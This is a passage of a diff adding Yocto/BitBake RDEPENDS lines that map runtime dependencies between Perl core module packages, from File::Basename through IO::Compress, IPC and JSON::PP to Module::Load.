+RDEPENDS:perl-module-fields += "perl-module-hash-util"
+RDEPENDS:perl-module-fields += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-exporter"
+RDEPENDS:perl-module-file-basename += "perl-module-re"
+RDEPENDS:perl-module-file-basename += "perl-module-strict"
+RDEPENDS:perl-module-file-basename += "perl-module-warnings"
+RDEPENDS:perl-module-filecache += "perl-module-parent"
+RDEPENDS:perl-module-filecache += "perl-module-strict"
+RDEPENDS:perl-module-file-compare += "perl-module-exporter"
+RDEPENDS:perl-module-file-compare += "perl-module-strict"
+RDEPENDS:perl-module-file-compare += "perl-module-warnings"
+RDEPENDS:perl-module-file-copy += "perl-module-config"
+RDEPENDS:perl-module-file-copy += "perl-module-exporter"
+RDEPENDS:perl-module-file-copy += "perl-module-file-basename"
+RDEPENDS:perl-module-file-copy += "perl-module-strict"
+RDEPENDS:perl-module-file-copy += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-strict"
+RDEPENDS:perl-module-file-dosglob += "perl-module-text-parsewords"
+RDEPENDS:perl-module-file-dosglob += "perl-module-warnings"
+RDEPENDS:perl-module-file-dosglob += "perl-module-xsloader"
+RDEPENDS:perl-module-file-fetch += "perl-module-constant"
+RDEPENDS:perl-module-file-fetch += "perl-module-cwd"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-basename"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-copy"
+RDEPENDS:perl-module-file-fetch += "perl-module-filehandle"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-path"
+RDEPENDS:perl-module-file-fetch += "perl-module-file-temp"
+RDEPENDS:perl-module-file-fetch += "perl-module-ipc-cmd"
+RDEPENDS:perl-module-file-fetch += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-file-fetch += "perl-module-load"
+RDEPENDS:perl-module-file-fetch += "perl-module-params-check"
+RDEPENDS:perl-module-file-fetch += "perl-module-strict"
+RDEPENDS:perl-module-file-fetch += "perl-module-vars"
+RDEPENDS:perl-module-file-find += "perl-module-cwd"
+RDEPENDS:perl-module-file-find += "perl-module-exporter"
+RDEPENDS:perl-module-file-find += "perl-module-file-basename"
+RDEPENDS:perl-module-file-find += "perl-module-strict"
+RDEPENDS:perl-module-file-find += "perl-module-warnings"
+RDEPENDS:perl-module-file-find += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-globmapper += "perl-module-file-glob"
+RDEPENDS:perl-module-file-globmapper += "perl-module-strict"
+RDEPENDS:perl-module-file-globmapper += "perl-module-warnings"
+RDEPENDS:perl-module-file-glob += "perl-module-exporter"
+RDEPENDS:perl-module-file-glob += "perl-module-strict"
+RDEPENDS:perl-module-file-glob += "perl-module-xsloader"
+RDEPENDS:perl-module-filehandle += "perl-module-exporter"
+RDEPENDS:perl-module-filehandle += "perl-module-fcntl"
+RDEPENDS:perl-module-filehandle += "perl-module-io-file"
+RDEPENDS:perl-module-filehandle += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-cwd"
+RDEPENDS:perl-module-file-path += "perl-module-exporter"
+RDEPENDS:perl-module-file-path += "perl-module-file-basename"
+RDEPENDS:perl-module-file-path += "perl-module-strict"
+RDEPENDS:perl-module-file-path += "perl-module-vars"
+RDEPENDS:perl-module-file-stat += "perl-module-class-struct"
+RDEPENDS:perl-module-file-stat += "perl-module-constant"
+RDEPENDS:perl-module-file-stat += "perl-module-exporter"
+RDEPENDS:perl-module-file-stat += "perl-module-fcntl"
+RDEPENDS:perl-module-file-stat += "perl-module-overload "
+RDEPENDS:perl-module-file-stat += "perl-module-strict"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings"
+RDEPENDS:perl-module-file-stat += "perl-module-warnings-register"
+RDEPENDS:perl-module-file-temp += "perl-module-constant"
+RDEPENDS:perl-module-file-temp += "perl-module-cwd"
+RDEPENDS:perl-module-file-temp += "perl-module-errno"
+RDEPENDS:perl-module-file-temp += "perl-module-exporter"
+RDEPENDS:perl-module-file-temp += "perl-module-fcntl"
+RDEPENDS:perl-module-file-temp += "perl-module-file-path"
+RDEPENDS:perl-module-file-temp += "perl-module-io-seekable"
+RDEPENDS:perl-module-file-temp += "perl-module-overload"
+RDEPENDS:perl-module-file-temp += "perl-module-parent"
+RDEPENDS:perl-module-file-temp += "perl-module-posix"
+RDEPENDS:perl-module-file-temp += "perl-module-strict"
+RDEPENDS:perl-module-filter-simple += "perl-module-filter-util-call"
+RDEPENDS:perl-module-filter-simple += "perl-module-text-balanced"
+RDEPENDS:perl-module-filter-util-call += "perl-module-exporter"
+RDEPENDS:perl-module-filter-util-call += "perl-module-strict"
+RDEPENDS:perl-module-filter-util-call += "perl-module-warnings"
+RDEPENDS:perl-module-filter-util-call += "perl-module-xsloader"
+RDEPENDS:perl-module-findbin += "perl-module-cwd"
+RDEPENDS:perl-module-findbin += "perl-module-exporter"
+RDEPENDS:perl-module-findbin += "perl-module-file-basename"
+RDEPENDS:perl-module-gdbm-file += "perl-module-exporter"
+RDEPENDS:perl-module-gdbm-file += "perl-module-strict"
+RDEPENDS:perl-module-gdbm-file += "perl-module-tie-hash"
+RDEPENDS:perl-module-gdbm-file += "perl-module-warnings"
+RDEPENDS:perl-module-gdbm-file += "perl-module-xsloader"
+RDEPENDS:perl-module-getopt-long += "perl-module-constant"
+RDEPENDS:perl-module-getopt-long += "perl-module-exporter"
+RDEPENDS:perl-module-getopt-long += "perl-module-overload"
+RDEPENDS:perl-module-getopt-long += "perl-module-pod-usage"
+RDEPENDS:perl-module-getopt-long += "perl-module-strict"
+RDEPENDS:perl-module-getopt-long += "perl-module-text-parsewords"
+RDEPENDS:perl-module-getopt-long += "perl-module-vars"
+RDEPENDS:perl-module-getopt-long += "perl-module-warnings"
+RDEPENDS:perl-module-getopt-std += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-strict"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util-fieldhash += "perl-module-xsloader"
+RDEPENDS:perl-module-hash-util += "perl-module-exporter"
+RDEPENDS:perl-module-hash-util += "perl-module-hash-util-fieldhash"
+RDEPENDS:perl-module-hash-util += "perl-module-strict"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings"
+RDEPENDS:perl-module-hash-util += "perl-module-warnings-register"
+RDEPENDS:perl-module-hash-util += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-collate += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-collate += "perl-module-overload"
+RDEPENDS:perl-module-i18n-collate += "perl-module-posix"
+RDEPENDS:perl-module-i18n-collate += "perl-module-strict"
+RDEPENDS:perl-module-i18n-collate += "perl-module-warnings-register"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-warnings"
+RDEPENDS:perl-module-i18n-langinfo += "perl-module-xsloader"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
+RDEPENDS:perl-module-i18n-langtags-detect += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags-list += "perl-module-strict"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-exporter"
+RDEPENDS:perl-module-i18n-langtags += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-encode"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-file-globmapper"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-strict"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-utf8"
+RDEPENDS:perl-module-io-compress-base-common += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-file"
+RDEPENDS:perl-module-io-compress-base += "perl-module-io-handle "
+RDEPENDS:perl-module-io-compress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-bzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-deflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-gzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-rawdeflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-config"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-exporter "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-deflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-adapter-identity"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-bzip2 "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-rawdeflate"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-compress-zip += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zip += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-constant"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-exporter"
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-constants += "perl-module-warnings"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-bytes"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-strict "
+RDEPENDS:perl-module-io-compress-zlib-extra += "perl-module-warnings"
+RDEPENDS:perl-module-io-dir += "perl-module-exporter"
+RDEPENDS:perl-module-io-dir += "perl-module-file-stat"
+RDEPENDS:perl-module-io-dir += "perl-module-io-file"
+RDEPENDS:perl-module-io-dir += "perl-module-strict"
+RDEPENDS:perl-module-io-dir += "perl-module-tie-hash"
+RDEPENDS:perl-module-io-file += "perl-module-exporter"
+RDEPENDS:perl-module-io-file += "perl-module-fcntl"
+RDEPENDS:perl-module-io-file += "perl-module-io-seekable"
+RDEPENDS:perl-module-io-file += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-file += "perl-module-strict"
+RDEPENDS:perl-module-io-handle += "perl-module-exporter"
+RDEPENDS:perl-module-io-handle += "perl-module-io"
+RDEPENDS:perl-module-io-handle += "perl-module-io-file"
+RDEPENDS:perl-module-io-handle += "perl-module-selectsaver"
+RDEPENDS:perl-module-io-handle += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-strict"
+RDEPENDS:perl-module-io += "perl-module-warnings"
+RDEPENDS:perl-module-io += "perl-module-xsloader"
+RDEPENDS:perl-module-io-pipe += "perl-module-fcntl"
+RDEPENDS:perl-module-io-pipe += "perl-module-io-handle"
+RDEPENDS:perl-module-io-pipe += "perl-module-strict"
+RDEPENDS:perl-module-io-poll += "perl-module-exporter"
+RDEPENDS:perl-module-io-poll += "perl-module-io-handle"
+RDEPENDS:perl-module-io-poll += "perl-module-strict"
+RDEPENDS:perl-module-io-seekable += "perl-module-exporter"
+RDEPENDS:perl-module-io-seekable += "perl-module-fcntl"
+RDEPENDS:perl-module-io-seekable += "perl-module-io-handle"
+RDEPENDS:perl-module-io-seekable += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-exporter"
+RDEPENDS:perl-module-io-select += "perl-module-strict"
+RDEPENDS:perl-module-io-select += "perl-module-warnings-register"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-inet += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-base"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-constant"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-errno"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-posix"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-socket"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-ip += "perl-module-warnings"
+RDEPENDS:perl-module-io-socket += "perl-module-errno"
+RDEPENDS:perl-module-io-socket += "perl-module-exporter"
+RDEPENDS:perl-module-io-socket += "perl-module-io-handle"
+RDEPENDS:perl-module-io-socket += "perl-module-io-select"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-inet"
+RDEPENDS:perl-module-io-socket += "perl-module-io-socket-unix"
+RDEPENDS:perl-module-io-socket += "perl-module-socket"
+RDEPENDS:perl-module-io-socket += "perl-module-strict"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-io-socket"
+RDEPENDS:perl-module-io-socket-unix += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-compress-raw-bzip2"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-io-compress-zip-constants "
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-identity += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-adapter-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-gunzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-inflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-io-uncompress-unzip"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-strict"
+RDEPENDS:perl-module-io-uncompress-anyuncompress += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-io-file "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-list-util"
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-base += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-adapter-bunzip2"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-bunzip2 += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-gzip-constants"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-gunzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-compress-zlib-constants"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-inflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-io-uncompress-base"
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-rawinflate += "perl-module-warnings"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-bytes"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-compress-raw-zlib"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-constant"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-encode"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-exporter "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-fcntl"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-base-common"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zip-constants"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-compress-zlib-extra"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-file"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-identity"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-adapter-inflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-io-uncompress-rawinflate"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-posix"
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-strict "
+RDEPENDS:perl-module-io-uncompress-unzip += "perl-module-warnings"
+RDEPENDS:perl-module-io-zlib += "perl-module-fcntl"
+RDEPENDS:perl-module-io-zlib += "perl-module-io-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-strict"
+RDEPENDS:perl-module-io-zlib += "perl-module-tie-handle"
+RDEPENDS:perl-module-io-zlib += "perl-module-vars"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-constant"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-extutils-makemaker"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-filehandle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-handle"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-io-select"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-load"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-params-check"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-posix"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-socket"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-strict"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-text-parsewords"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-time-hires"
+RDEPENDS:perl-module-ipc-cmd += "perl-module-vars"
+RDEPENDS:perl-module-ipc-msg += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-msg += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-msg += "perl-module-strict"
+RDEPENDS:perl-module-ipc-msg += "perl-module-vars"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-ipc-open3"
+RDEPENDS:perl-module-ipc-open2 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-constant"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-fcntl"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-io-pipe"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-posix"
+RDEPENDS:perl-module-ipc-open3 += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-ipc-semaphore += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-class-struct"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-ipc-sysv"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sharedmem += "perl-module-vars"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-config"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-dynaloader"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-exporter"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-strict"
+RDEPENDS:perl-module-ipc-sysv += "perl-module-vars"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-overload"
+RDEPENDS:perl-module-json-pp-boolean += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-b"
+RDEPENDS:perl-module-json-pp += "perl-module-bytes"
+RDEPENDS:perl-module-json-pp += "perl-module-constant"
+RDEPENDS:perl-module-json-pp += "perl-module-encode"
+RDEPENDS:perl-module-json-pp += "perl-module-exporter"
+RDEPENDS:perl-module-json-pp += "perl-module-json-pp-boolean"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigfloat"
+RDEPENDS:perl-module-json-pp += "perl-module-math-bigint"
+RDEPENDS:perl-module-json-pp += "perl-module-overload"
+RDEPENDS:perl-module-json-pp += "perl-module-strict"
+RDEPENDS:perl-module-json-pp += "perl-module-subs"
+RDEPENDS:perl-module-less += "perl-module-strict"
+RDEPENDS:perl-module-less += "perl-module-warnings"
+RDEPENDS:perl-module-lib += "perl-module-config"
+RDEPENDS:perl-module-lib += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-exporter"
+RDEPENDS:perl-module-list-util += "perl-module-strict"
+RDEPENDS:perl-module-list-util += "perl-module-warnings"
+RDEPENDS:perl-module-list-util += "perl-module-xsloader"
+RDEPENDS:perl-module-list-util-xs += "perl-module-list-util"
+RDEPENDS:perl-module-list-util-xs += "perl-module-strict"
+RDEPENDS:perl-module-list-util-xs += "perl-module-warnings"
+RDEPENDS:perl-module-loaded += "perl-module-strict"
+RDEPENDS:perl-module-loaded += "perl-module-vars"
+RDEPENDS:perl-module-load += "perl-module-config"
+RDEPENDS:perl-module-load += "perl-module-constant"
+RDEPENDS:perl-module-load += "perl-module-exporter"
+RDEPENDS:perl-module-load += "perl-module-filehandle"
+RDEPENDS:perl-module-load += "perl-module-locale-maketext-simple"
+RDEPENDS:perl-module-load += "perl-module-corelist"
+RDEPENDS:perl-module-load += "perl-module-load"
+RDEPENDS:perl-module-load += "perl-module-params-check"
